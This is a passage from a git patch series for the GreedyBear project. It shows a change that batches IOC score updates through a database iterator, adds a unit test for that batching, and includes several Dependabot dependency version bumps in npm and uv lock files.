specified score fields + as a server-side iterator to avoid loading the entire table into memory. Args: score_fields: List of score field names to retrieve (e.g., ['recurrence_probability']). + chunk_size: Number of rows to fetch per database round-trip. Returns: - QuerySet of IOC objects with only name and score fields loaded. + Iterator of IOC objects with only name and score fields loaded. """ - return IOC.objects.filter(honeypots__active=True).filter(scanner=True).distinct().only("name", *score_fields) + if chunk_size is None: + chunk_size = BULK_UPDATE_BATCH_SIZE + + return IOC.objects.filter(honeypots__active=True).filter(scanner=True).distinct().only("name", *score_fields).iterator(chunk_size=chunk_size) def get_scanners_by_pks(self, primary_keys: set[int]): """ diff --git a/greedybear/cronjobs/scoring/scoring_jobs.py b/greedybear/cronjobs/scoring/scoring_jobs.py index 870d89992..10d1c8748 100644 --- a/greedybear/cronjobs/scoring/scoring_jobs.py +++ b/greedybear/cronjobs/scoring/scoring_jobs.py @@ -8,6 +8,7 @@ from greedybear.cronjobs.base import Cronjob from greedybear.cronjobs.repositories import IocRepository +from greedybear.cronjobs.repositories.ioc import BULK_UPDATE_BATCH_SIZE from greedybear.cronjobs.scoring.random_forest import RFClassifier, RFRegressor from greedybear.cronjobs.scoring.utils import ( correlated_features, @@ -155,6 +156,15 @@ def __init__(self, ioc_repo=None): self.data = None self.ioc_repo = ioc_repo if ioc_repo is not None else IocRepository() + def _flush_updates(self, iocs_to_update: list[IOC], score_names: list[str]) -> int: + """Flush pending IOC updates to the database and clear the buffer.""" + if not iocs_to_update: + return 0 + self.log.info(f"writing updated scores for {len(iocs_to_update)} IoCs to DB") + result = self.ioc_repo.bulk_update_scores(iocs_to_update, score_names) + iocs_to_update.clear() + return result + def update_db(self, df: pd.DataFrame, iocs: set[IOC] | None = None) -> int: """ Update IOC scores in the database based on new data from a DataFrame. @@ -179,11 +189,17 @@ def update_db(self, df: pd.DataFrame, iocs: set[IOC] | None = None) -> int: score_names = [s.score_name for s in SCORERS] scores_by_ip = df.set_index("value")[score_names].to_dict("index") # If no IoCs were passed as an argument, fetch all IoCs via repository - iocs = self.ioc_repo.get_scanners_for_scoring(score_names) if iocs is None else iocs + if iocs is None: + iocs_iterable = self.ioc_repo.get_scanners_for_scoring(score_names) + self.log.info("checking IoCs via iterator") + else: + iocs_iterable = iocs + self.log.info(f"checking {len(iocs)} IoCs") + iocs_to_update = [] + total_result = 0 - self.log.info(f"checking {len(iocs)} IoCs") - for ioc in iocs: + for ioc in iocs_iterable: updated = False # Update scores if IP exists in new data if ioc.name in scores_by_ip: @@ -200,10 +216,14 @@ def update_db(self, df: pd.DataFrame, iocs: set[IOC] | None = None) -> int: updated = True if updated: iocs_to_update.append(ioc) - self.log.info(f"writing updated scores for {len(iocs_to_update)} IoCs to DB") - result = self.ioc_repo.bulk_update_scores(iocs_to_update, score_names) - self.log.info(f"{result} IoCs were updated") - return result + + if len(iocs_to_update) >= BULK_UPDATE_BATCH_SIZE: + total_result += self._flush_updates(iocs_to_update, score_names) + + total_result += self._flush_updates(iocs_to_update, score_names) + + self.log.info(f"{total_result} IoCs were updated") + return total_result def score_only(self, iocs: list[IOC]) -> int: """ diff --git a/tests/test_ioc_repository.py b/tests/test_ioc_repository.py index 618b5986d..d24ef925c 100644 --- a/tests/test_ioc_repository.py +++ b/tests/test_ioc_repository.py @@ -618,6 +618,44 @@ def test_update_scores_with_mock_repository(self): mock_repo.bulk_update_scores.assert_called_once() self.assertEqual(result, 1) + def test_update_db_batches_bulk_updates_for_large_sets(self): + """Feeding >2000 IOCs must trigger bulk_update_scores multiple times.""" + import pandas as pd + + from greedybear.cronjobs.scoring.scoring_jobs import BULK_UPDATE_BATCH_SIZE, UpdateScores + + total_iocs = BULK_UPDATE_BATCH_SIZE + 500 # e.g. 2500 + + # Build mock IOCs whose scores will change so they all land in the update buffer + mock_iocs = [] + ip_addresses = [] + for i in range(total_iocs): + m = Mock() + m.name = f"10.0.{i // 256}.{i % 256}" + m.recurrence_probability = 0.0 + m.expected_interactions = 0.0 + mock_iocs.append(m) + ip_addresses.append(m.name) + + mock_repo = Mock() + mock_repo.get_scanners_for_scoring.return_value = iter(mock_iocs) + mock_repo.bulk_update_scores.side_effect = lambda iocs, _fields: len(iocs) + + df = pd.DataFrame( + { + "value": ip_addresses, + "recurrence_probability": [0.75] * total_iocs, + "expected_interactions": [10.0] * total_iocs, + } + ) + + job = UpdateScores(ioc_repo=mock_repo) + result = job.update_db(df) + + # Must have been called at least twice (batch flush + remainder) + self.assertGreaterEqual(mock_repo.bulk_update_scores.call_count, 2) + self.assertEqual(result, total_iocs) + class TestIocRepositoryCleanup(CustomTestCase): """Tests for cleanup-related methods in IocRepository.""" From ee0364b7ddb5312693d8d6044dc8eadc9dab2a40 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 17 Jun 2026 07:44:55 +0200 Subject: [PATCH 040/131] build(deps): bump react-use from 17.6.0 to 17.6.1 in /frontend (#1412) Bumps [react-use](https://github.com/streamich/react-use) from 17.6.0 to 17.6.1. - [Release notes](https://github.com/streamich/react-use/releases) - [Changelog](https://github.com/streamich/react-use/blob/master/CHANGELOG.md) - [Commits](https://github.com/streamich/react-use/compare/v17.6.0...v17.6.1) --- updated-dependencies: - dependency-name: react-use dependency-version: 17.6.1 dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- frontend/package-lock.json | 24 ++++++++++++------------ frontend/package.json | 2 +- 2 files changed, 13 insertions(+), 13 deletions(-) diff --git a/frontend/package-lock.json b/frontend/package-lock.json index 6d8e8e718..c45382f1c 100644 --- a/frontend/package-lock.json +++ b/frontend/package-lock.json @@ -21,7 +21,7 @@ "react-grid-layout": "^2.2.3", "react-icons": "^5.6.0", "react-router-dom": "^7.15.1", - "react-use": "^17.6.0", + "react-use": "^17.6.1", "reactstrap": "^9.2.3", "recharts": "^3.8.1", "sass": "^1.100.0", @@ -1998,9 +1998,9 @@ } }, "node_modules/@types/js-cookie": { - "version": "2.2.7", - "resolved": "https://registry.npmjs.org/@types/js-cookie/-/js-cookie-2.2.7.tgz", - "integrity": "sha512-aLkWa0C0vO5b4Sr798E26QgOkss68Un0bLjs7u9qxzPT5CG+8DuNTffWES58YzJs3hrVAOs1wonycqEBqNJubA==", + "version": "3.0.6", + "resolved": "https://registry.npmjs.org/@types/js-cookie/-/js-cookie-3.0.6.tgz", + "integrity": "sha512-wkw9yd1kEXOPnvEeEV1Go1MmxtBJL0RR79aOTAApecWFVu7w0NNXNqhcWgvw2YgZDYadliXkl14pa3WXw5jlCQ==", "license": "MIT" }, "node_modules/@types/json-schema": { @@ -4268,9 +4268,9 @@ } }, "node_modules/js-cookie": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/js-cookie/-/js-cookie-2.2.1.tgz", - "integrity": "sha512-HvdH2LzI/EAZcUwA8+0nKNtWHqS+ZmijLA30RwZA0bo7ToCckjK5MkGhjED9KoRcXO6BaGI3I9UIzSA1FKFPOQ==", + "version": "3.0.8", + "resolved": "https://registry.npmjs.org/js-cookie/-/js-cookie-3.0.8.tgz", + "integrity": "sha512-yeJd4aNAdYZQjaon2bpD/Gb0B/omw7HQOsynXXcOiWVCacbBcPlgn8S/d1X6blFSaHao7ozqtW7NZW19xpCtIw==", "license": "MIT" }, "node_modules/js-tokens": { @@ -5763,17 +5763,17 @@ } }, "node_modules/react-use": { - "version": "17.6.0", - "resolved": "https://registry.npmjs.org/react-use/-/react-use-17.6.0.tgz", - "integrity": "sha512-OmedEScUMKFfzn1Ir8dBxiLLSOzhKe/dPZwVxcujweSj45aNM7BEGPb9BEVIgVEqEXx6f3/TsXzwIktNgUR02g==", + "version": "17.6.1", + "resolved": "https://registry.npmjs.org/react-use/-/react-use-17.6.1.tgz", + "integrity": "sha512-uibb3pgzV4LFsYPHyXYGu7dD2+pyk/ZJlPH+AizBR3zolqPWyCleKcWWbUQaKSKfydwgnQ3ymGm1Ab3/saGHCA==", "license": "Unlicense", "dependencies": { - "@types/js-cookie": "^2.2.6", + "@types/js-cookie": "^3.0.0", "@xobotyi/scrollbar-width": "^1.9.5", "copy-to-clipboard": "^3.3.1", "fast-deep-equal": "^3.1.3", "fast-shallow-equal": "^1.0.0", - "js-cookie": "^2.2.1", + "js-cookie": "^3.0.0", "nano-css": "^5.6.2", "react-universal-interface": "^0.6.2", "resize-observer-polyfill": "^1.5.1", diff --git a/frontend/package.json b/frontend/package.json index 8982d3f0e..6239f905d 100644 --- a/frontend/package.json +++ b/frontend/package.json @@ -22,7 +22,7 @@ "react-grid-layout": "^2.2.3", "react-icons": "^5.6.0", "react-router-dom": "^7.15.1", - "react-use": "^17.6.0", + "react-use": "^17.6.1", "reactstrap": "^9.2.3", "recharts": "^3.8.1", "sass": "^1.100.0", From d49aee1d87e0c797f95831dbf50c73f31da25e33 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 17 Jun 2026 07:46:29 +0200 Subject: [PATCH 041/131] build(deps): bump axios from 1.17.0 to 1.18.0 in /frontend (#1413) Bumps [axios](https://github.com/axios/axios) from 1.17.0 to 1.18.0. - [Release notes](https://github.com/axios/axios/releases) - [Changelog](https://github.com/axios/axios/blob/v1.x/CHANGELOG.md) - [Commits](https://github.com/axios/axios/compare/v1.17.0...v1.18.0) --- updated-dependencies: - dependency-name: axios dependency-version: 1.18.0 dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- frontend/package-lock.json | 8 ++++---- frontend/package.json | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/frontend/package-lock.json b/frontend/package-lock.json index c45382f1c..15e744db4 100644 --- a/frontend/package-lock.json +++ b/frontend/package-lock.json @@ -10,7 +10,7 @@ "dependencies": { "@greedybear/gb-ui": "github:GreedyBear-Project/gb-ui#1.0.0", "@vnedyalk0v/react19-simple-maps": "^2.0.9", - "axios": "^1.17.0", + "axios": "^1.18.0", "axios-hooks": "^5.1.1", "bootstrap": ">=5.3.8", "formik": "^2.4.9", @@ -2386,9 +2386,9 @@ "license": "MIT" }, "node_modules/axios": { - "version": "1.17.0", - "resolved": "https://registry.npmjs.org/axios/-/axios-1.17.0.tgz", - "integrity": "sha512-J8SwNxprqqpbfenehxWYXE7CW+wM1BB4w3+N+g+/Wx40xM4rsLrfPmHHxSWIxJLYDgSY/HqlFPIYb2/S3rxafw==", + "version": "1.18.0", + "resolved": "https://registry.npmjs.org/axios/-/axios-1.18.0.tgz", + "integrity": "sha512-E32NzpYKp++W7XRe52rHiXV2ehxmh3wbdgO7MHeFM+vqxLBYHzt0ElkiImtOBxtOmyp0yoC8C6uESVV84Y2/hw==", "license": "MIT", "dependencies": { "follow-redirects": "^1.16.0", diff --git a/frontend/package.json b/frontend/package.json index 6239f905d..ff64ac72f 100644 --- a/frontend/package.json +++ b/frontend/package.json @@ -11,7 +11,7 @@ "dependencies": { "@greedybear/gb-ui": "github:GreedyBear-Project/gb-ui#1.0.0", "@vnedyalk0v/react19-simple-maps": "^2.0.9", - "axios": "^1.17.0", + "axios": "^1.18.0", "axios-hooks": "^5.1.1", "bootstrap": ">=5.3.8", "formik": "^2.4.9", From 848db75bc7d4e3f1dd8e26bb00871327ce6f9c41 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 17 Jun 2026 07:48:17 +0200 Subject: [PATCH 042/131] build(deps-dev): bump @vitest/coverage-v8 in /frontend (#1414) Bumps [@vitest/coverage-v8](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8) from 4.1.8 to 4.1.9. - [Release notes](https://github.com/vitest-dev/vitest/releases) - [Changelog](https://github.com/vitest-dev/vitest/blob/main/docs/releases.md) - [Commits](https://github.com/vitest-dev/vitest/commits/v4.1.9/packages/coverage-v8) --- updated-dependencies: - dependency-name: "@vitest/coverage-v8" dependency-version: 4.1.9 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- frontend/package-lock.json | 102 ++++++++++++++++++------------------- frontend/package.json | 2 +- 2 files changed, 52 insertions(+), 52 deletions(-) diff --git a/frontend/package-lock.json b/frontend/package-lock.json index 15e744db4..ac1d7c4d3 100644 --- a/frontend/package-lock.json +++ b/frontend/package-lock.json @@ -32,7 +32,7 @@ "@testing-library/react": "^16.3.2", "@testing-library/user-event": "^14.6.1", "@vitejs/plugin-react": "^6.0.2", - "@vitest/coverage-v8": "^4.1.8", + "@vitest/coverage-v8": "^4.1.9", "eslint": "^9.39.4", "jsdom": "^29.1.1", "prettier": "^3.8.4", @@ -2074,14 +2074,14 @@ } }, "node_modules/@vitest/coverage-v8": { - "version": "4.1.8", - "resolved": "https://registry.npmjs.org/@vitest/coverage-v8/-/coverage-v8-4.1.8.tgz", - "integrity": "sha512-lt3kovsyHwYe00wq4D1ti0Z974fWj4NLp6siqiyEufUpyFwK9Yhi7rBhac9JL5aA0zoMrJqc4vYPZRUnI7l7nw==", + "version": "4.1.9", + "resolved": "https://registry.npmjs.org/@vitest/coverage-v8/-/coverage-v8-4.1.9.tgz", + "integrity": "sha512-G9/lgqibheLVBDRuya45EbsEXTYcWoSG+TLg7i2axuzx0Eq62eXn+aWXyaVdV5vKvFSWd6ywcX8hA7la9Pvu8g==", "dev": true, "license": "MIT", "dependencies": { "@bcoe/v8-coverage": "^1.0.2", - "@vitest/utils": "4.1.8", + "@vitest/utils": "4.1.9", "ast-v8-to-istanbul": "^1.0.0", "istanbul-lib-coverage": "^3.2.2", "istanbul-lib-report": "^3.0.1", @@ -2095,8 +2095,8 @@ "url": "https://opencollective.com/vitest" }, "peerDependencies": { - "@vitest/browser": "4.1.8", - "vitest": "4.1.8" + "@vitest/browser": "4.1.9", + "vitest": "4.1.9" }, "peerDependenciesMeta": { "@vitest/browser": { @@ -2105,16 +2105,16 @@ } }, "node_modules/@vitest/expect": { - "version": "4.1.8", - "resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-4.1.8.tgz", - "integrity": "sha512-h3nDO677RDLEGlBxyQ5CW8RlMThSKSRLUePLOx09gNIWRL40edgA1GCZSZgf1W55MFAG6/Sw14KeaAnqv0NKdQ==", + "version": "4.1.9", + "resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-4.1.9.tgz", + "integrity": "sha512-vl/rYsUKcBr3SnQn166+XR5ZQcgMx3DQhFWdfli/cWpLnLUmbxZvyrJZotLFUryib+LtArYMSTJ5RbQ57ZqrlA==", "dev": true, "license": "MIT", "dependencies": { "@standard-schema/spec": "^1.1.0", "@types/chai": "^5.2.2", - "@vitest/spy": "4.1.8", - "@vitest/utils": "4.1.8", + "@vitest/spy": "4.1.9", + "@vitest/utils": "4.1.9", "chai": "^6.2.2", "tinyrainbow": "^3.1.0" }, @@ -2123,13 +2123,13 @@ } }, "node_modules/@vitest/mocker": { - "version": "4.1.8", - "resolved": "https://registry.npmjs.org/@vitest/mocker/-/mocker-4.1.8.tgz", - "integrity": "sha512-LEiN/xe4OSIbKe9HQIp5OC24agGD9J5CnmMgsLohVVoOPWL9a2sBoR6VBx43jQZb7Kr1l4RCuyCJzcAa0+dojw==", + "version": "4.1.9", + "resolved": "https://registry.npmjs.org/@vitest/mocker/-/mocker-4.1.9.tgz", + "integrity": "sha512-EVkXzBjrPGM+cK8/ANWgBrkUCfJfb38/EfTSO8h7pWvKkyPkpWxvR7BkD2MyItMF62C97zAEoqdpUixwR/e+Rw==", "dev": true, "license": "MIT", "dependencies": { - "@vitest/spy": "4.1.8", + "@vitest/spy": "4.1.9", "estree-walker": "^3.0.3", "magic-string": "^0.30.21" }, @@ -2150,9 +2150,9 @@ } }, "node_modules/@vitest/pretty-format": { - "version": "4.1.8", - "resolved": "https://registry.npmjs.org/@vitest/pretty-format/-/pretty-format-4.1.8.tgz", - "integrity": "sha512-9GasEBxpZ1VYIpqHf/0+YGg121uSNwCKOJqIrTwWP/TB7DmFCiaBpNl3aPZzoLWfWkuqhbH8vJIVobZkvdo2cA==", + "version": "4.1.9", + "resolved": "https://registry.npmjs.org/@vitest/pretty-format/-/pretty-format-4.1.9.tgz", + "integrity": "sha512-s0iufns3iIFitdgm+YR7g1whCAaGtXz459VS9/PqyKDEEFgYIhsHOQmXgIgDuYCt7DeQmiZT0Qe2OA2p4ZPu5A==", "dev": true, "license": "MIT", "dependencies": { @@ -2163,13 +2163,13 @@ } }, "node_modules/@vitest/runner": { - "version": "4.1.8", - "resolved": "https://registry.npmjs.org/@vitest/runner/-/runner-4.1.8.tgz", - "integrity": "sha512-EmVxeBAfMJvycdjd6Hm+RbFBbA9fKvo0Kx37hNpBYoYeavH3RNsBXWDooR1mgD52dCrxIIuP7UotpfiwOikvcg==", + "version": "4.1.9", + "resolved": "https://registry.npmjs.org/@vitest/runner/-/runner-4.1.9.tgz", + "integrity": "sha512-KXLMDtc7oe70+3mJfGrPUWPesswH+3sTxAMAMl8DG7I8IUQT4XW718dY5ID3vPUcmlu27CcKfY4P3h3I29SLJg==", "dev": true, "license": "MIT", "dependencies": { - "@vitest/utils": "4.1.8", + "@vitest/utils": "4.1.9", "pathe": "^2.0.3" }, "funding": { @@ -2177,14 +2177,14 @@ } }, "node_modules/@vitest/snapshot": { - "version": "4.1.8", - "resolved": "https://registry.npmjs.org/@vitest/snapshot/-/snapshot-4.1.8.tgz", - "integrity": "sha512-acfZboRmAIf05DEKcBQy33VXojFJjtUdLyo7oOmV9kebb2xdU01UknNiPuPZoJZQyO7DF0gZdTGTpeAzET9QPQ==", + "version": "4.1.9", + "resolved": "https://registry.npmjs.org/@vitest/snapshot/-/snapshot-4.1.9.tgz", + "integrity": "sha512-Jc7RKGNBo8Z28WYIm0Niej4xdSPByRf6mU58VpHQkd6Zh05rlnA+twjbK5HyeIGHxrzsc3mJgS43uM0CZKzaIA==", "dev": true, "license": "MIT", "dependencies": { - "@vitest/pretty-format": "4.1.8", - "@vitest/utils": "4.1.8", + "@vitest/pretty-format": "4.1.9", + "@vitest/utils": "4.1.9", "magic-string": "^0.30.21", "pathe": "^2.0.3" }, @@ -2193,9 +2193,9 @@ } }, "node_modules/@vitest/spy": { - "version": "4.1.8", - "resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-4.1.8.tgz", - "integrity": "sha512-6EevtBp6OZOPF7bmz36HrGMeP3txgVSrgebWxHOafDXGkhIzfXK14f8KF6MuFfgXXUeHxmpD3BQxkV00/3s5mA==", + "version": "4.1.9", + "resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-4.1.9.tgz", + "integrity": "sha512-fHpsS6mIi+PiEW+vcRVOMkX1oSaPKne3VOclSFICPcGOmfKgXPU5iAah+wcNcj2xPrCCmfq99IDGf+EojhhvhA==", "dev": true, "license": "MIT", "funding": { @@ -2203,13 +2203,13 @@ } }, "node_modules/@vitest/utils": { - "version": "4.1.8", - "resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-4.1.8.tgz", - "integrity": "sha512-uOJamYALNhfJ6iolExyQM40yIQwDqYnkKtQ5VCiSe17E33H0aQ/u+1GlRuz4LZBk6Mm3sg90G9hEbmEt37C1Zg==", + "version": "4.1.9", + "resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-4.1.9.tgz", + "integrity": "sha512-A51o8ymO5PpqlWNnBP9ZHPXDIpuMtTLlGSjN7la4US+LJzoUMyhwjA5QXlm39JexgwHKW4Xjs8Z2d3dLCXOeuA==", "dev": true, "license": "MIT", "dependencies": { - "@vitest/pretty-format": "4.1.8", + "@vitest/pretty-format": "4.1.9", "convert-source-map": "^2.0.0", "tinyrainbow": "^3.1.0" }, @@ -6979,19 +6979,19 @@ } }, "node_modules/vitest": { - "version": "4.1.8", - "resolved": "https://registry.npmjs.org/vitest/-/vitest-4.1.8.tgz", - "integrity": "sha512-flY6ScbCIt9HThs+C5HS7jvGOB560DJtk/Z15IQROTA6zEy49Nh8T/dofWTQL+n3vswqn87sbJNiuqw1SDp5Ig==", + "version": "4.1.9", + "resolved": "https://registry.npmjs.org/vitest/-/vitest-4.1.9.tgz", + "integrity": "sha512-nE3/LEyc0z87uHYLZebqCUOaJr2hdtuPp7BQ4BosVFnfltxgAvMG08NyrSGlPpOUWvR27c5flSmYFTNr78L9GQ==", "dev": true, "license": "MIT", "dependencies": { - "@vitest/expect": "4.1.8", - "@vitest/mocker": "4.1.8", - "@vitest/pretty-format": "4.1.8", - "@vitest/runner": "4.1.8", - "@vitest/snapshot": "4.1.8", - "@vitest/spy": "4.1.8", - "@vitest/utils": "4.1.8", + "@vitest/expect": "4.1.9", + "@vitest/mocker": "4.1.9", + "@vitest/pretty-format": "4.1.9", + "@vitest/runner": "4.1.9", + "@vitest/snapshot": "4.1.9", + "@vitest/spy": "4.1.9", + "@vitest/utils": "4.1.9", "es-module-lexer": "^2.0.0", "expect-type": "^1.3.0", "magic-string": "^0.30.21", @@ -7019,12 +7019,12 @@ "@edge-runtime/vm": "*", "@opentelemetry/api": "^1.9.0", "@types/node": "^20.0.0 || ^22.0.0 || >=24.0.0", - "@vitest/browser-playwright": "4.1.8", - "@vitest/browser-preview": "4.1.8", - "@vitest/browser-webdriverio": "4.1.8", - "@vitest/coverage-istanbul": "4.1.8", - "@vitest/coverage-v8": "4.1.8", - "@vitest/ui": "4.1.8", + "@vitest/browser-playwright": "4.1.9", + "@vitest/browser-preview": "4.1.9", + "@vitest/browser-webdriverio": "4.1.9", + "@vitest/coverage-istanbul": "4.1.9", + "@vitest/coverage-v8": "4.1.9", + "@vitest/ui": "4.1.9", "happy-dom": "*", "jsdom": "*", "vite": "^6.0.0 || ^7.0.0 || ^8.0.0" diff --git a/frontend/package.json b/frontend/package.json index ff64ac72f..c3ed4ca9d 100644 --- a/frontend/package.json +++ b/frontend/package.json @@ -51,7 +51,7 @@ "@testing-library/react": "^16.3.2", "@testing-library/user-event": "^14.6.1", "@vitejs/plugin-react": "^6.0.2", - "@vitest/coverage-v8": "^4.1.8", + "@vitest/coverage-v8": "^4.1.9", "eslint": "^9.39.4", "jsdom": "^29.1.1", "prettier": "^3.8.4", From 0514d4b5f05567ef6399cd04fe0858cb2e4fb486 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 17 Jun 2026 07:48:47 +0200 Subject: [PATCH 043/131] build(deps-dev): bump ruff from 0.15.16 to 0.15.17 (#1417) Bumps [ruff](https://github.com/astral-sh/ruff) from 0.15.16 to 0.15.17. - [Release notes](https://github.com/astral-sh/ruff/releases) - [Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md) - [Commits](https://github.com/astral-sh/ruff/compare/0.15.16...0.15.17) --- updated-dependencies: - dependency-name: ruff dependency-version: 0.15.17 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- pyproject.toml | 2 +- uv.lock | 44 ++++++++++++++++++++++---------------------- 2 files changed, 23 insertions(+), 23 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index ea4a1252a..6008d8e84 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -51,7 +51,7 @@ test = [ "django-test-migrations==1.5.0", ] lint = [ - "ruff==0.15.16", + "ruff==0.15.17", ] [tool.uv] diff --git a/uv.lock b/uv.lock index 103fd4f8e..22861cc46 100644 --- a/uv.lock +++ b/uv.lock @@ -548,7 +548,7 @@ requires-dist = [ [package.metadata.requires-dev] dev = [{ name = "django-watchfiles", specifier = "~=1.4" }] -lint = [{ name = "ruff", specifier = "==0.15.16" }] +lint = [{ name = "ruff", specifier = "==0.15.17" }] test = [ { name = "coverage", specifier = "==7.14.1" }, { name = "django-test-migrations", specifier = "==1.5.0" }, @@ -896,27 +896,27 @@ wheels = [ [[package]] name = "ruff" -version = "0.15.16" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/a6/bd/5f7ec371001337d8fa61701c186ff8b613ecac1651848c5950f4c4d5f2e9/ruff-0.15.16.tar.gz", hash = "sha256:d05e78d38c78caf020b03789e25106c93017db5a0cb6e2819885018c61343b78", size = 4714267, upload-time = "2026-06-04T16:33:09.974Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/0c/42/53ef1c3953f157956db9bf7861e3bc50b9b887ce93300aa48cdba8336fe6/ruff-0.15.16-py3-none-linux_armv6l.whl", hash = "sha256:6ac3c0b3969cc6cf6b158c4e2f8f682acb58e7d700d8a44b65ecdc72d66ab0b2", size = 10709025, upload-time = "2026-06-04T16:32:51.935Z" }, - { url = "https://files.pythonhosted.org/packages/93/9a/a79159346f19134a956607754e57d8d128f7a4c00f4ad2f7514d224c172c/ruff-0.15.16-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:197c207ed75ffba54a0dec23db4aa939a27a3053073e085e0042433cbdc58e4a", size = 11063550, upload-time = "2026-06-04T16:32:42.24Z" }, - { url = "https://files.pythonhosted.org/packages/bc/72/3ce2ac000a5299ec238e01f51397b3b653c93b077d9b1bfe8715bb895f20/ruff-0.15.16-py3-none-macosx_11_0_arm64.whl", hash = "sha256:3a39fec45ab316cc23e7558f23fea4a70403ddb5648ea9a4a3854a16973d0071", size = 10421345, upload-time = "2026-06-04T16:32:37.251Z" }, - { url = "https://files.pythonhosted.org/packages/b0/c2/cc7fad3ec9169373f5b6a18f1917b91080feec40c3f9658334a1d28e2f03/ruff-0.15.16-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ba93191d79003116b95128c9d306e045200fdbd0bccb782b110f3cd1d4abc5cf", size = 10757217, upload-time = "2026-06-04T16:32:54.722Z" }, - { url = "https://files.pythonhosted.org/packages/69/d2/3474009eaa0a65b31fa7152a2fad5e2f050c640ceb1e6b02ee6922e94c82/ruff-0.15.16-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:c6ee4b90520630120ef032aa5cc10db483852dff950e78b1d717e2993a61ac8d", size = 10507035, upload-time = "2026-06-04T16:33:05.343Z" }, - { url = "https://files.pythonhosted.org/packages/ca/81/b7ae6ccbd11f0c8dc3d5d67fc4be9b57ff57ca86ba56152021378e1277f2/ruff-0.15.16-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4e4215bc938bc3c8215c1472c1aa437e310fee20cd427335fec9d7e609563628", size = 11255291, upload-time = "2026-06-04T16:32:49.49Z" }, - { url = "https://files.pythonhosted.org/packages/d9/e1/46e526f1a7cc90857ce6ddf25fbb77eb6568651ac38d71b033af07076dd5/ruff-0.15.16-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7c8d26be963b090f10e29abc8b3e74a2a321f6fa34e02424e30b5af89350ecbb", size = 12124922, upload-time = "2026-06-04T16:33:07.821Z" }, - { url = "https://files.pythonhosted.org/packages/1a/da/5c791b088b596b24d0deb967fa28ae02ad751a140c0b9ea81c5ab915d6c0/ruff-0.15.16-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f198cf4123602a2280ed46c307bcbafe41758d6fee5b456b6b6058ca1514b3b4", size = 11332186, upload-time = "2026-06-04T16:33:02.971Z" }, - { url = "https://files.pythonhosted.org/packages/72/11/5da87abe20047c8962361473923ebb2f62b595250126aadfad8c20649c1e/ruff-0.15.16-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bb27515fa6240fb586ae82b901a59e67d24acff86f2190b433dc542fe0435aeb", size = 11373541, upload-time = "2026-06-04T16:32:47.007Z" }, - { url = "https://files.pythonhosted.org/packages/fe/2a/8554754c23a854ae3fd6b507e36ad61ddb121e298c6d5d617dec94ed0f14/ruff-0.15.16-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:a267c46ba1593fc26b8eecbea050b39d40c0b6bb7781ee11c90a02cd10032951", size = 11353014, upload-time = "2026-06-04T16:32:34.795Z" }, - { url = "https://files.pythonhosted.org/packages/62/25/62ea41529ec89f742ea3fed9cb1059c72877ec7cf9b9e99ac9cf3294d1d9/ruff-0.15.16-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:528c68f39a91498a8d50e91ff5985df3d105782bab49cc378e73ac26bff083e8", size = 10737467, upload-time = "2026-06-04T16:32:26.348Z" }, - { url = "https://files.pythonhosted.org/packages/90/17/334d3ad9de4d40f9dd58fdd09e35ce64553bb501e2f19a839e2fb6be14fc/ruff-0.15.16-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:7ed55c58950df60589a9a7a5d2f8fa5f54ebd287163be805adfe6ee95a9de123", size = 10521910, upload-time = "2026-06-04T16:32:32.54Z" }, - { url = "https://files.pythonhosted.org/packages/4d/bd/3ac7c6ae77a885c1004b3dda2446ea401768d24f851c14b4ad4b24f6639c/ruff-0.15.16-py3-none-musllinux_1_2_i686.whl", hash = "sha256:d482feaf51512b50f9790ceb417a56a61dd1e9d9bf967662b9ed27c01b34f53a", size = 10979190, upload-time = "2026-06-04T16:32:57.492Z" }, - { url = "https://files.pythonhosted.org/packages/33/d7/609546e6a413c3f216fbf2a50c928f97c80939154f6a0503114094a86191/ruff-0.15.16-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:1e15bc8c94513dae2a40cc9ef07c94fdd4ecc9e29dabebeebe170f952322c9e3", size = 11477014, upload-time = "2026-06-04T16:32:44.687Z" }, - { url = 